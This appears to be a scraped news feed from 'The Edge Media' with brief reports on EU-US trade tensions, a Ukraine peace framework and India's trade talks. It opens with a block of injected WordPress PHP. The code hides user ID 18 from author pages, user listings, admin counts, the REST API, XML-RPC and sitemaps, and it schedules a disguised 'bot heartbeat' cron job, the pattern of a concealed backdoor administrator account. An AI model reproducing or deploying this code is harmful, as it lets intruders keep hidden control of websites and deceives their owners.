add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post EU Suspends Trade Negotiations Following Threats from Trump appeared first on The Edge Media.
]]>This move marks a significant cooling of relations between the long-standing allies, as European leaders push back against what they perceive as aggressive American posturing regarding Brexit and transatlantic commerce.
In a separate development highlighted in the report, Indian Union Minister Ashwini Vaishnaw asserted that India is currently leading the global stage in the field of Artificial Intelligence (AI).
Speaking on India’s technological trajectory, Vaishnaw emphasized that the nation is no longer just a participant but a frontrunner in shaping the future of AI and digital infrastructure.
The post EU Suspends Trade Negotiations Following Threats from Trump appeared first on The Edge Media.
]]>The post Ukraine Moves Toward Peace Deal Framework With Russia appeared first on The Edge Media.
]]>
The comment came, while US Army secretary, Dan Driscoll met Russian representatives in Abu Dhabi, where the official explained that Kyiv had endorsed the overall structure of the peace plan and that only minor details still need clarification.
Ukraine’s national security secretary Rustem Umerov noted on X that negotiators from both sides had reached a shared understanding on the main terms, discussed during the talks in Geneva.
He said that Kyiv now looks to its European partners for backing in the next phase and is preparing for a visit by President Zelensky to the United States to carry out the final steps and work toward completing an agreement with President Donald Trump.
Earlier the same day Zelensky acknowledged strong progress in Geneva, yet emphasized that significant effort remains before the discussions can be considered complete.
The post Ukraine Moves Toward Peace Deal Framework With Russia appeared first on The Edge Media.
]]>The post India and US Close to Finalizing Bilateral Trade Agreement: Official appeared first on The Edge Media.
]]>According to the official, negotiations have entered the final phase, and discussions are currently focused on finalizing the wording and structure of the agreement. “We are very close to sealing the deal,” the official noted, emphasizing that only minor differences remain to be resolved.
The talks, which have been progressing steadily, no longer face any major obstacles. “Both sides are converging on most matters, and there are no new contentious issues,” the official added.
So far, five rounds of discussions have been completed between New Delhi and Washington as part of the first phase of the trade pact. The agreement is expected to strengthen economic cooperation and boost bilateral trade relations between the two countries.
The post India and US Close to Finalizing Bilateral Trade Agreement: Official appeared first on The Edge Media.
]]>The post India Will Not Rush Trade Deals, Says Commerce Minister Piyush Goyal appeared first on The Edge Media.
]]>“We are engaged in active discussions with the European Union (EU) and the United States, but India never enters into agreements hastily or under coercion,” Goyal stated. “We do not finalize deals with a gun to our head. Every agreement must be carefully considered and beneficial for the country in the long run,” he added.
The minister highlighted that India is exploring new global markets to manage the challenges posed by high import tariffs and to diversify its trade portfolio. When asked whether India was receiving fair and sustainable trade offers, Goyal said, “India’s partnerships are always driven by national interest. No external power can dictate whom we choose to collaborate with. If someone says we can’t work with the EU or Kenya, that’s simply not acceptable.”
He also emphasized that global trade decisions, such as the purchase of particular commodities, should be made based on collective reasoning and mutual benefit. His comments come amid reports of US pressure on India to reduce or halt crude oil imports from Russia, highlighting the growing complexity of international trade relations.
The post India Will Not Rush Trade Deals, Says Commerce Minister Piyush Goyal appeared first on The Edge Media.
]]>